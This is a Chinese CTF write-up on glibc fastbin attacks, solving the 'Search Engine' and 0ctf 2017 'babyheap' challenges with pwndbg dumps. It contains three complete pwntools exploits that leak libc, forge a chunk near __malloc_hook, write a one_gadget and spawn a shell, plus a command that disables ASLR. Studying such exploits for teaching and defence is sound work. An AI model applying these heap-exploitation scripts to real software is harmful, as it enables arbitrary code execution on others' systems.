首先需要了解:

  1. fastbin大小<=64B(32位),fastbins中的chunk不改变它的prev_inuse标志,也就无法被合并
  2. 首块double free检查,当一个chunk被free进fastbin前,会看看链表的第一个chunk【main_arena直接指向的块】是不是该chunk,如果是,说明double free了就报错,而对于链表后面的块,并没有进行验证。

fastbin attack就是fastbin类型的chunk中存在 堆溢出uaf 等漏洞

用过一定手段篡改某堆块的fd指向一块目标内存(当然其对应size位置的值要合法),当我们malloc到此堆块后再malloc一次,自然就把目标内存分配到了,就可以对这块目标内存为所欲为了,达到任意地址写任意值的效果(可以是关键数据也可以是函数指针)

double free

顾名思义,double free就是指fastbin的chunk被多次释放

house of Spirit

该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放到对应的fastbin链表中,从而达到分配指定地址的 chunk 的目的。

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem 。
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。

Alloc to Stack

该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针,把 fd 指针指向我们想要分配的栈上,当然同时需要栈上存在有满足条件的 size 值,从而把 fastbin chunk 分配到栈中,控制返回地址等关键数据。

Arbitrary Alloc

Alloc to Stack不尽相同,但它范围更广。只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。
比如利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。

例子

2015 9447 CTF : Search Engine

分析

首先要搞懂程序流程

menu
1: Search with a word
2: Index a sentence
3: Quit

首先 2 写入句子,首先输入句子长度,且句子是由单词构成,每个单词后面都要加 空格 才能检测到,所以长度是带空格的长度
1 查找单词,输入单词长度和单词,查找当前所有的句子中含有这个单词的句子,显示一条并询问是否删除,再往下显示

我们输入句子长度为8的句子“how are ”

0x603430 FASTBIN {
  prev_size = 0, 
  size = 49, 
  fd = 0x603420, 
  bk = 0x3, 
  fd_nextsize = 0x603420, 
  bk_nextsize = 0x8
}
0x603460 FASTBIN {
  prev_size = 0, 
  size = 49, 
  fd = 0x603424, 
  bk = 0x3, 
  fd_nextsize = 0x603420, 
  bk_nextsize = 0x8
}

pwndbg> x/20gx 0x603410
0x603410:   0x0000000000000000  0x0000000000000021
0x603420:   0x2065726120776f68  0x0000000000000000      ==>sentence
0x603430:   0x0000000000000000  0x0000000000000031      ==>申请了0x30大小的chunk存放word
0x603440:   0x0000000000603420  0x0000000000000003      ==>word1 how 的地址 长度
0x603450:   0x0000000000603420  0x0000000000000008      ==>sentence 的地址 长度
0x603460:   0x0000000000000000  0x0000000000000031      ==>同上
0x603470:   0x0000000000603424  0x0000000000000003      ==>word2 are 的地址 长度
0x603480:   0x0000000000603420  0x0000000000000008      ==>sentence 的地址 长度
0x603490:   0x0000000000603440  0x0000000000000031
0x6034a0:   0x00000000006034d0  0x0000000000000003

  1. 我们可以先创建一个unsorted bin大小的chunk,然后释放,该chunk将被填0,但是没有被设置为NULL。列表中只有者这一个 unsortedbin,释放后它的fd bk都将指向自己
    由于查找单词的时候没有限制'\x00',所以通过'\x00'查找到最后,同时也没有截断,就可以连带打印出unsortedbin地址,libc_base = unsorted_addr - 0x3c4b78。
    main_arena_offset = 0x3c4b20。这里libc里main_arena偏移在malloc_trim函数里找到。
  2. 由于存在double free漏洞
    首先申请大小相同的 a b c三块,然后依次释放 c b a(因为搜索的顺序跟添加顺序相反)。此时fast bin里 a->b->c->null,然后再次释放b就会导致 b->a->b->a…
    这里注意的就是 在再次释放b的时候,因为c的fd指向null所以不进入搜索,b第一个进入搜索,所以只再次释放第一个结果,其余的都不再释放。

    pwndbg> fastbin
    fastbins
    0x20: 0x2105150 ◂— 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x2105010 —▸ 0x2105170 —▸ 0x2105240 ◂— 0x0
    0x80: 0x0
    =======================
    double free之后
    =======================
    pwndbg> fastbin
    fastbins
    0x20: 0x2105150 ◂— 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x2105170 —▸ 0x2105010 ◂— 0x2105170
    0x80: 0x0
  3. 改写__malloc_hookone_gadget。在malloc的时候,不会检查地址的对齐,只会检查size的大小是否符合。所以构造我们的堆块大小为0x60,这是因为(0x60+8)对齐16大小为0x70在fastbin[5]里,而0x7f刚好也对应着fastbin[5]。64位计算方法为 0x7f>>4 -2。而在main_arenahook处,很多地址都以0x7f开头,可以利用字节错位来构造假的size。(使用pwndbg的find_fake_fast
    把前面申请的chunk a b c重新使用后,再次调用malloc时,就会跳转到one_gadget执行

pwndbg> print (void*)&main_arena
$2 = (void *) 0x7f4be2dc8b20 <main_arena>

pwndbg> print (void*)&__malloc_hook
$3 = (void *) 0x7f4be2dc8b10 <__malloc_hook>

pwndbg> x/10gx 0x7f4be2dc8b10
0x7f4be2dc8b10 <__malloc_hook>: 0x0000000000000000  0x0000000000000000
0x7f4be2dc8b20 <main_arena>:    0x0000000000000000  0x00000000010f5150
0x7f4be2dc8b30 <main_arena+16>: 0x0000000000000000  0x0000000000000000
0x7f4be2dc8b40 <main_arena+32>: 0x0000000000000000  0x0000000000000000
0x7f4be2dc8b50 <main_arena+48>: 0x0000000000000000  0x00000000010f5010

pwndbg> find_fake_fast 0x7f4be2dc8b10 0x7f
FAKE CHUNKS
0x7f4be2dc8aed FAKE PREV_INUSE IS_MMAPED NON_MAIN_ARENA {
  prev_size = 5468175281376198656, 
  size = 127, 
  fd = 0x4be2a89e20000000, 
  bk = 0x4be2a89a0000007f, 
  fd_nextsize = 0x7f, 
  bk_nextsize = 0x0
}

pwndbg> print /x 0x7f4be2dc8b10-0x7f4be2dc8aed      # __malloc_hook - fake_chunk_addr
$4 = 0x23                                           # padding = 0x23 - 0x10

pwndbg> print /x 0x7f4be2dc8b20-0x7f4be2dc8aed      # main_arena - fake_chunk_addr
$5 = 0x33

exp

#!usr/bin/python
from pwn import *
context.log_level = 'debug'

binary = "./search"
ip = ""
port = 0
elf = ELF(binary)

def menu(choice):
    io.sendlineafter("Quit\n", str(choice))

def search(word):
    menu(1)
    io.sendlineafter("size:\n", str(len(word)))
    io.sendafter("word:\n", word)

def delete(yn):
    io.recvuntil("(y/n)?\n")
    io.sendline(yn)

def index(sent):
    menu(2)
    io.sendlineafter("size:\n", str(len(sent)))
    io.sendafter("sentence:\n", sent)


def pwn(ip, port, debug):
    global io
    if debug == 1:
        io = process(binary)
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")   
    else:
        io = remote(ip, port)
        libc = 0

    sent = 'a'*0x99 + ' b '
    index(sent)
    search('b')
    delete('y')
    search('\x00')
    io.recvuntil("Found " + str(len(sent)) + ": ")
    unsorted_addr = u64(io.recv(8))
    delete('n')
    print "unsorted_addr = " +hex(unsorted_addr)
    libc_base = unsorted_addr - 0x3c4b78
    main_arena_offset = 0x3c4b20
    main_arena = libc_base + main_arena_offset
    one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    one_gadget = libc_base + one_gadget[3]

    sent = 'a' * 0x5d + ' c '       # 1
    index(sent)
    sent = 'a' * 0x5d + ' c '       # 2
    index(sent)
    sent = 'a' * 0x5d + ' c '       # 3
    index(sent)

    search('c')
    delete('y')
    delete('y')
    delete('y')     
    # main_arena -> 1 -> 2 -> 3 -> NULL
    search('\x00')
    delete('y')
    delete('n')
    delete('n')     
    # main_arena -> 2 -> 1 -> 2 -> 1 -> ...
    fake_chunk_addr = main_arena - 0x33
    index(p64(fake_chunk_addr).ljust(0x60, 'a'))
    index('b' * 0x60)
    index('c' * 0x60)
    sent = 'a' * 0x13 + p64(one_gadget)
    sent = sent.ljust(0x60, 'a')
    # gdb.attach(io)
    index(sent)

    io.interactive()

if __name__ == '__main__':
    pwn(ip, port, 1)

做完感觉挺简单的...

0ctf2017 babyheap

保护全开
功能:

1. Allocate
2. Fill
3. Free
4. Dump
5. Exit

calloc的size是在Allocate中输入的。而Fill时size是重新输入的,可以造成堆溢出。
(内存分配函数是calloc而不是malloc,calloc分配chunk时会对内存区域进行置空,也就是说之前的fd和bk字段都会被置为0)
先关闭PIE方便调试

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

在gdb中使用

skip function alarm

跳过alarm函数,方便调试,但是每次调试都需要执行这么一句。
或者就通过patch二进制文件删除alarm函数

分析1

alloc四个fast chunk,一个small chunk

先释放1,再释放2

pwndbg> x/40gx 0x555555757000
0x555555757000: 0x0000000000000000  0x0000000000000021 ==>0
0x555555757010: 0x0000000000000000  0x0000000000000000
0x555555757020: 0x0000000000000000  0x0000000000000021 ==>1
0x555555757030: 0x0000000000000000  0x0000000000000000
0x555555757040: 0x0000000000000000  0x0000000000000021 ==>2
0x555555757050: 0x0000555555757020  0x0000000000000000 ==>后入先出,所以chunk2的fd指向chunk1
0x555555757060: 0x0000000000000000  0x0000000000000021 ==>3
0x555555757070: 0x0000000000000000  0x0000000000000000
0x555555757080: 0x0000000000000000  0x0000000000000091 ==>4
0x555555757090: 0x0000000000000000  0x0000000000000000
0x5555557570a0: 0x0000000000000000  0x0000000000000000
0x5555557570b0: 0x0000000000000000  0x0000000000000000
0x5555557570c0: 0x0000000000000000  0x0000000000000000
0x5555557570d0: 0x0000000000000000  0x0000000000000000
0x5555557570e0: 0x0000000000000000  0x0000000000000000
0x5555557570f0: 0x0000000000000000  0x0000000000000000
0x555555757100: 0x0000000000000000  0x0000000000000000
0x555555757110: 0x0000000000000000  0x0000000000020ef1
0x555555757120: 0x0000000000000000  0x0000000000000000
0x555555757130: 0x0000000000000000  0x0000000000000000

接下来,通过堆溢出漏洞,将chunk2的fd指针第一个字节修改为0x80指向chunk4,由于1, 2都被free,所以通过chunk0进行修改
因为申请fast chunk时会检测chunk_size和chunk_index是否匹配【index计算方式为:(chunk size) >> (SIZE_SZ == 8 ? 4 : 3) – 2,在64位平台上SIZE_SZ为8】,所以我们还需要修改chunk4的size位为0x21

alloc(0x10) ==>得到原来chunk2空间
alloc(0x10) ==>得到chunk4空间,可以控制

前提:当内存中只有一个small chunk的时候,且该chunk处于申请空间的内存最高位,那么释放后的fd bk并不会指向libc中的某处

所以我们应该再alloc一个small chunk,使chunk4不在最高位
再将chunk4的size位修复,使chunk4被释放后,fd bk指向libc某处

这时候打印chunk2就可以得到top chunk,它与main_arena偏移固定,为0x3c4b78,减去它即得到libc基地址(在fastbin为空时,unsortbin的fd和bk指向自身main_arena)

又,malloc中不为空时,就执行它指向的函数,如果我们将指针改为shell函数,那么调用malloc就会触发getshell

pwndbg> x/30gx &__malloc_hook-0x10
0x7ffff7dd1a90 <_IO_wide_data_0+208>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1aa0 <_IO_wide_data_0+224>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1ab0 <_IO_wide_data_0+240>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1ac0 <_IO_wide_data_0+256>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1ad0 <_IO_wide_data_0+272>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1ae0 <_IO_wide_data_0+288>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1af0 <_IO_wide_data_0+304>:   0x00007ffff7dd0260  0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>:   0x00007ffff7a92e20  0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1b20 <main_arena>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000  0x00005555557571a0

__malloc_hook恰好在main_arena - 0x10处。

pwndbg> x/10x 0x7ffff7dd1ae0 - 0x3
0x7ffff7dd1add <_IO_wide_data_0+285>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1aed <_IO_wide_data_0+301>:   0xfff7dd0260000000  0x000000000000007f
0x7ffff7dd1afd:                         0xfff7a92e20000000  0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>:  0x000000000000007f  0x0000000000000000
0x7ffff7dd1b1d:                         0x0000000000000000  0x0000000000000000

偏移为0x3c4b78 - (0x7ffff7dd1b70 - 0x7ffff7dd1aed) = 0x3c4aeb

exp1

小tips:缩进的tab或空格不能混用,要么全用tab 要么全用空格。okok我今天才第一次遇见

#!usr/bin/python
from pwn import *
context.log_level = 'debug'

ip = " "
port = 0
io = 0
elf = ELF("./babyheap_0ctf_2017")

def menu(choice):
    io.sendlineafter(": ", str(choice))
def alloc(size):
    menu(1)
    io.sendlineafter(": ", str(size))
def fill(idx, size, content):
    menu(2)
    io.sendlineafter(": ", str(idx))
    io.sendlineafter(": ", str(size))
    io.sendafter(": ", content)
def free(idx):
    menu(3)
    io.sendlineafter(": ", str(idx))
def dump(idx):
    menu(4)
    io.sendlineafter(": ", str(idx))

def pwn(ip, port, debug):
    global io
    if(debug == 1):
        io = process("./babyheap_0ctf_2017")
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
        io = remote(ip, port)
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    alloc(0x10)     #0
    alloc(0x10)     #1
    alloc(0x10)     #2
    alloc(0x10)     #3
    alloc(0x80)     #4
    free(1)
    free(2)
    payload = p64(0)*3
    payload += p64(0x21)
    payload += p64(0)*3
    payload += p64(0x21)
    payload += p8(0x80)
    fill(0, len(payload), payload)
    payload = p64(0)*3
    payload += p64(0x21)
    fill(3, len(payload), payload)
    alloc(0x10)     #1==> 2
    alloc(0x10)     #2==> 4
    payload = p64(0)*3
    payload += p64(0x91)
    fill(3, len(payload), payload)
    alloc(0x80)
    free(4)
    dump(2)
    io.recvuntil("\n")
    libc_base = u64(io.recvuntil("Command")[:8].strip().ljust(8, "\x00"))-0x3c4b78
    log.info("libc_base: "+hex(libc_base))

    alloc(0x60)
    free(4)

    payload = p64(libc_base+0x3c4aed)
    fill(2, len(payload), payload)

    alloc(0x60)
    alloc(0x60)
    one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    payload = p8(0)*3
    payload += p64(0)*2
    payload += p64(libc_base + one_gadget[1])
    fill(6, len(payload), payload)
    alloc(233)
    io.interactive()

if __name__ == '__main__':
  pwn("node3.buuoj.cn", 28315, 1)

分析2

  1. 通过unsorted bin的指针来泄露libc_base
    要打印出指针,就需要使用Dump功能来打印,但是Dump只能打印没有被Free的content
    想要打印出被free的内容,就可以想到通过打印一个没有被Free的content,但是其中包含了一个被free的chunk,如何实现? 既然存在堆溢出,当然是通过改写size来达到目的。
    如图理解

    显然A B的前后都需要申请chunk,前一个chunk为了造成堆溢出改写A的size位,后一个chunk防止与top chunk合并
    同时这些chunk的大小都必须是unsorted bin,这样B被free后 fd bk 都指向unsorted_addr,可以得到libc_base
  2. 劫持__malloc_hook,通过堆溢出改写fd到__malloc_hook附近地址,连续calloc两次就到附近地址进行写入,写入到__malloc_hook时将该处填写成one_gadget即可。再次Alloc调用calloc时,就会执行__malloc_hook处的one_gadget拿shell了。【这里和我文章fastbin attack中search这个题一样的】

好了可以着手写exp了

exp2

原po说的是exp没有libc限制,其实不然....

from pwn import *
#ARCH SETTING
context(arch = 'amd64' , os = 'linux')
r = process('./babyheap')
# r = remote('127.0.0.1',9999)

#FUNCTION DEFINE
def new(size):
   r.recvuntil("Command: ")
   r.sendline("1")
   r.recvuntil("Size: ")
   r.sendline(str(size))

def edit(idx,size,content):
   r.recvuntil("Command: ")
   r.sendline("2")
   r.recvuntil("Index: ")
   r.sendline(str(idx))
   r.recvuntil("Size: ")
   r.sendline(str(size))
   r.recvuntil("Content: ")
   r.send(content)

def delet(idx):
   r.recvuntil("Command: ")
   r.sendline("3")
   r.recvuntil("Index: ")
   r.sendline(str(idx))

def echo(idx):
   r.recvuntil("Command: ")
   r.sendline("4")
   r.recvuntil("Index: ")
   r.sendline(str(idx))

new(0x90) #idx.0 to unsorted bin
new(0x90) #idx.1 to unsorted bin
new(0x90) #idx.2 to unsorted bin
new(0x90) #idx.3 for protecting top_chunk merge
delet(1)

payload_expand = 'A'*0x90 + p64(0) + p64(0x141)
edit(0,len(payload_expand),payload_expand)

new(0x130)

payload_crrct = 'A'*0x90 + p64(0) + p64(0xa1)
edit(1,len(payload_crrct),payload_crrct)

delet(2)

echo(1)
r.recvuntil("Content: n")
r.recv(0x90 + 0x10)
fd = u64( r.recv(8) )
libc_unsort = fd
libc_base = libc_unsort - 0x3c4b78

new(0x90) #idx.2 clean the heap-bins environment
new(0x10) #idx.4 for overflow
new(0x60) #idx.5 to fastbin[5] 
new(0x10) #idx.6 for protecting top_chunk merge
delet(5) #NOTICE: idx.5 recycled after here !!!
malloc_hook_fkchunk = libc_base + 0x3c4aed
payload_hj = 'A'*0x10 + p64(0) + p64(0x71) + p64(malloc_hook_fkchunk)
edit(4,len(payload_hj),payload_hj)


new(0x60) #idx.5
new(0x60) #idx.7
onegadget_addr = libc_base + 0x4526a
payload_hj2onegadget = 'A'*3 + p64(0) + p64(0) + p64(onegadget_addr)
edit(7,len(payload_hj2onegadget),payload_hj2onegadget)


new(0x100)
r.interactive()

参考:
1
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/
上述四种attack方法的demo都可以参照ctfwiki中给的 ↑
https://juejin.im/entry/5c177e6ff265da6141717bcd
search:
https://www.twblogs.net/a/5d012568bd9eee14644f97a1/zh-cn
https://bbs.pediy.com/thread-247219-1.htm ==>他把两种方法【wiki && gulshansingh的】都分析了一下
veritas师傅有一篇调教pwndbg的文章可以优化find_fake_fast,不需要设置大小,直接打印出可用的和padding
2
https://juejin.im/entry/5c177e6ff265da6141717bcd

点击收藏 | 0 关注 | 2
登录 后跟帖